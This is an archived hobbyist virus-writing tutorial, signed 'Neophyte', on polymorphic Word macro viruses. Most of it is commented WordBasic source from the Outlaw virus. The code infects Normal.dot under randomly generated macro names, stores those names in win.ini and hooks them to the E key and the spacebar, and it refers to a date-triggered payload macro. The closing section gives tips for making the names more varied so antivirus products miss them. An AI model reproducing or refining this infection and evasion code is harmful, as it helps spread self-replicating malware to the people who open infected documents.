home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / TUTUPDT8.ZIP / NEOWMTUT.ZIP / WMTUTPOL.TX2 < prev    next >
Text File  |  1988-01-17  |  11KB  |  294 lines

  1. POLYFORMISM IN MACRO VIRII
  2. --------------------------
  3.  
  4. If you don't know what polymorfism is: it's a sort of encryption
  5. of a virus, but one that changes the encryption routine every 
  6. infection.
  7.  
  8. I hope you got it now, but if you don't I'll say it again:"I'm not
  9. an english teacher so fuck it if you can't follow me."
  10.  
  11. The above descryption of polymorfism is mainly mend for dos (assembler)
  12. virii. With macro virii it is a bit different.
  13. As you probably know a macro virii contains macros (duh...) and as
  14. you probably know, those macros have names (duh...). Several AV
  15. products look for those names to identify if a file is infected. So
  16. the only thing that is to be done is create different names every
  17. infection. That's easier said then done, believe me.
  18.  
  19. The very first polymorfic macro virus created was the Outlaw virus.
  20. It was created by the Nightmare Joker from SLAM. The Outlaw source
  21. for creating random macro names is put down here. I think it's quite
  22. complicated so I give a full explanation of it beside the source.
  23. For the complete Outlaw virus see "macro viruses".
  24.  
  25. 'This is the macro that infects the Normal.dot
  26. ----------------------------------------------------------------
  27. Sub MAIN
  28. On Error Goto Done                      'Error handler.
  29.  
  30. A$ = FileName$()                        'A$ = active filename.
  31. If A$ = "" Then Goto Finish             'If no file active goto finish.
  32.  
  33. If CheckInstalled = 0 Then              'Already installed?...
  34.     Routine                         'No then goto Sub Routine,
  35.     Crypt                           'Sub Crypt, Sub PayLoadMakro,
  36.     PayloadMakro                    'etc.
  37.     FileSaveAll 1, 1
  38. Else                                    'Yes (already installed).
  39.     Goto Done                       'Goto done.
  40. End If
  41.  
  42. Done:                                   'Done (already installed).
  43. A$ = FileName$()                        'A$ = active filename.
  44. If A$ = "" Then                         'If no file active goto finish.
  45.     Goto Finish
  46. Else                                    'If a file is active,
  47.     Insert " "                      'insert a "space", for infecting
  48.                     'the active file.                
  49. End If
  50.  
  51.  
  52. Finish:                                 'Finish (no file active).
  53. End Sub
  54.  
  55. Sub Crypt                               'The Sub Crypt.
  56. One = 7369                              'Number one is 7369.
  57. Two = 9291                              'Number two is 9291.
  58. Num = Int(Rnd() * (Two - One) + One)    'generate random number.
  59. A$ = Str$(Num)                          'A$ is generated number.
  60. A$ = LTrim$(A$)                         'Delete the empty space before...
  61.                     'the number. The empty space is...
  62.                     'for making the number negative,
  63.                     'e.g. -7369.
  64.  
  65. Beginn = Hour(Now())                    'Beginn is the active hour.
  66. B$ = Str$(Beginn)                       'B$ is the active hour (string). 
  67. B$ = LTrim$(B$)                         'Delete the empty space in B$.
  68.  
  69. If B$ = "1" Then C$ = "A"               'If B$ is 1 (1 o'clock)...
  70.                     'then C$ is A.                
  71. If B$ = "2" Then C$ = "B"               'If B$ is 2 (2 o'clock)...
  72.                     'then C$ is B.        
  73. If B$ = "3" Then C$ = "C"               'If B$ is 3 (3 o'clock)...
  74.                     'then C$ is C.
  75. If B$ = "4" Then C$ = "D"               'Etc.
  76. If B$ = "5" Then C$ = "E"
  77. If B$ = "6" Then C$ = "F"
  78. If B$ = "7" Then C$ = "G"
  79. If B$ = "8" Then C$ = "H"
  80. If B$ = "9" Then C$ = "I"
  81. If B$ = "10" Then C$ = "J"
  82. If B$ = "11" Then C$ = "K"
  83. If B$ = "12" Then C$ = "L"
  84. If B$ = "13" Then C$ = "M"
  85. If B$ = "14" Then C$ = "N"
  86. If B$ = "15" Then C$ = "O"
  87. If B$ = "16" Then C$ = "P"
  88. If B$ = "17" Then C$ = "Q"
  89. If B$ = "18" Then C$ = "R"
  90. If B$ = "19" Then C$ = "S"
  91. If B$ = "20" Then C$ = "T"
  92. If B$ = "21" Then C$ = "U"
  93. If B$ = "22" Then C$ = "V"
  94. If B$ = "23" Then C$ = "W"
  95. If B$ = "00" Then C$ = "X"
  96.  
  97. E$ = C$ + A$                            'E$ is C$ (character) plus...
  98.                     'A$ (the generated number).
  99. ZU$ = GetDocumentVar$("VirNameDoc")     'ZU$ is macro called VirNameDoc...
  100.                     'Watch out:VirNameDoc is not...
  101.                     'the real macro name, it's some...
  102.                     'sort of string.
  103. PG$ = WindowName$() + ":" + ZU$         'PG$ is active filename plus...
  104.                     '":" and plus macro name (ZU$).
  105. MacroCopy PG$, "Global:" + E$           'Copies macro from document...
  106.                     'to global template, with...
  107.                     'the name that was generated.
  108. SetProfileString "Intl", "Name2", E$    'Set the macro name in...
  109.                     'win.ini. as "Intl", "Name2", E$.
  110. ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0
  111.                     'Creates short-cut with the...
  112.                     'ascii keycode 69 (E). If the...
  113.                     'E key is pushed the macro...
  114.                     'E$ will be executed (The above...
  115.                     'macro). With the .Add you tell...
  116.                     'Word that you want to add that...
  117.                     'function to the key not replace...
  118.                     'it.
  119.                     
  120. End Sub                                 'End the Sub Crypt
  121.  
  122.  
  123.  
  124. Sub Routine                             'Begin Sub Routine
  125. One = 7369                              'This is practically...
  126. Two = 9291                              'the same as Sub Crypt.
  127. Num = Int(Rnd() * (Two - One) + One)    'I will only explain the...
  128. A$ = Str$(Num)                          'things that aren't...
  129. A$ = LTrim$(A$)                         'explained above.
  130.  
  131. Beginn = Hour(Now())
  132. B$ = Str$(Beginn)
  133. B$ = LTrim$(B$)
  134.  
  135. If B$ = "1" Then C$ = "A"
  136. If B$ = "2" Then C$ = "B"
  137. If B$ = "3" Then C$ = "C"
  138. If B$ = "4" Then C$ = "D"
  139. If B$ = "5" Then C$ = "E"
  140. If B$ = "6" Then C$ = "F"
  141. If B$ = "7" Then C$ = "G"
  142. If B$ = "8" Then C$ = "H"
  143. If B$ = "9" Then C$ = "I"
  144. If B$ = "10" Then C$ = "J"
  145. If B$ = "11" Then C$ = "K"
  146. If B$ = "12" Then C$ = "L"
  147. If B$ = "13" Then C$ = "M"
  148. If B$ = "14" Then C$ = "N"
  149. If B$ = "15" Then C$ = "O"
  150. If B$ = "16" Then C$ = "P"
  151. If B$ = "17" Then C$ = "Q"
  152. If B$ = "18" Then C$ = "R"
  153. If B$ = "19" Then C$ = "S"
  154. If B$ = "20" Then C$ = "T"
  155. If B$ = "21" Then C$ = "U"
  156. If B$ = "22" Then C$ = "V"
  157. If B$ = "23" Then C$ = "W"
  158. If B$ = "00" Then C$ = "X"
  159.  
  160. D$ = C$ + A$                            'The same as in Sub Crypt...
  161. UZ$ = GetDocumentVar$("VirName")        'only with other names.
  162. GP$ = WindowName$() + ":" + UZ$
  163. MacroCopy GP$, "Global:" + D$
  164. SetProfileString "Intl", "Name", D$
  165. ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
  166.                     'This one creates a short-cut...
  167.                     'with the D$ macro (this macro)...
  168.                     'if the spacebar (keycode 32)...
  169.                     'is pushed.
  170.  
  171. End Sub
  172.  
  173. Sub PayloadMakro                        'Same again.
  174. One = 7369
  175. Two = 9291
  176. Num = Int(Rnd() * (Two - One) + One)
  177. A$ = Str$(Num)
  178. A$ = LTrim$(A$)
  179.  
  180. Beginn = Hour(Now())
  181. B$ = Str$(Beginn)
  182. B$ = LTrim$(B$)
  183.  
  184. If B$ = "1" Then C$ = "A"
  185. If B$ = "2" Then C$ = "B"
  186. If B$ = "3" Then C$ = "C"
  187. If B$ = "4" Then C$ = "D"
  188. If B$ = "5" Then C$ = "E"
  189. If B$ = "6" Then C$ = "F"
  190. If B$ = "7" Then C$ = "G"
  191. If B$ = "8" Then C$ = "H"
  192. If B$ = "9" Then C$ = "I"
  193. If B$ = "10" Then C$ = "J"
  194. If B$ = "11" Then C$ = "K"
  195. If B$ = "12" Then C$ = "L"
  196. If B$ = "13" Then C$ = "M"
  197. If B$ = "14" Then C$ = "N"
  198. If B$ = "15" Then C$ = "O"
  199. If B$ = "16" Then C$ = "P"
  200. If B$ = "17" Then C$ = "Q"
  201. If B$ = "18" Then C$ = "R"
  202. If B$ = "19" Then C$ = "S"
  203. If B$ = "20" Then C$ = "T"
  204. If B$ = "21" Then C$ = "U"
  205. If B$ = "22" Then C$ = "V"
  206. If B$ = "23" Then C$ = "W"
  207. If B$ = "00" Then C$ = "X"
  208.  
  209. K$ = C$ + A$                            'Again another name.
  210. ZUZ$ = GetDocumentVar$("VirNamePayload")        
  211. GP$ = WindowName$() + ":" + ZUZ$
  212. MacroCopy GP$, "Global:" + K$
  213. SetProfileString "Intl", "Name3", K$    'Only this time no...
  214.                     'short-cut because this...
  215.                     'is the payloadmacro and...
  216.                     'this payload macro is only...
  217.                     'executed on a special date...
  218.                     'that is programmed in...
  219.                     'another macro. For the...
  220.                     'whole Outlaw virus, see...
  221.                     'the virii section.
  222. End Sub
  223.  
  224. Function CheckInstalled                 'A function to check if...
  225.                     'the virus already installed...
  226.                     'the global template (Normal.Dot).
  227. CC$ = GetProfileString$("Intl", "Name") 'CC$ is the name of the Routine...
  228.                     'macro (Sub Routine).
  229.     CheckInstalled = 0                  'Set the var checkinstalled to 0.
  230.     If CountMacros(0) > 0 Then          'If the number of macros in...
  231.                     'Normal.Dot is greater then 0,
  232.     For i = 1 To CountMacros(0)     'then create a for...next loop...
  233.                     'that loops the number of macros.
  234.         If MacroName$(i, 0) = CC$ Then    'If the macro name in...
  235.         CheckInstalled = 1      'Normal.dot is CC$ (routine...
  236.                     'macro) then set var...
  237.                     'CheckInstalled to 1.
  238.         End If                      'Ends the If instruction.
  239.     Next i                          'All macros done? then...
  240.                     'continue. Else go back to...
  241.                     'for...next loop.
  242.     End If                              'Ends the If instruction.
  243. End Function                            'The end of the function.
  244. ----------------------------------------------------------------
  245.  
  246. This is one macro from the Outlaw virus. To get the names of the
  247. macros, to use them in other macros, just use:
  248.  
  249. CC$ = GetProfileString$("Intl", "Name")
  250.  
  251. CC$ can be any string name you want but make sure to use the right
  252. name you gave to the macro, in this example "Intl" and "Name".
  253.  
  254. Viewture & Optimization
  255. -----------------------
  256. A thing that could happen with the way this polymorphic name is
  257. generated is that you get 2 same names, OK it's obvious that it
  258. won't happen often but you never know. To correct this problem you
  259. can use the following code:
  260.  
  261. Sub Crypt                               
  262. One = 1                              
  263. Two = 1000                              
  264. Num = Int(Rnd() * (Two - One) + One)    
  265. A$ = Str$(Num)                          
  266. A$ = LTrim$(A$)                         
  267.  
  268. -------------------------
  269.  
  270. Sub Routine         
  271. One = 1001          
  272. Two = 2000          
  273. Num = Int(Rnd() * (Two - One) + One)    
  274. A$ = Str$(Num)                          
  275. A$ = LTrim$(A$)                         
  276.  
  277.  
  278. And so on...
  279.  
  280.  
  281. As you see I used different numbers so ou couldn't get a same name. You
  282. can also use different characters for the first letter.
  283.  
  284. Another thing is, that the virus checks for the time to generate
  285. the first letter. It could be better to randomly generate the 
  286. first letter. That is fixed easily, just create a second random
  287. number generator that generates a number between 1 and 24.
  288.  
  289.  
  290. And for the future......
  291.  
  292.  
  293.                     --- Neophyte --- and some help from NJ
  294.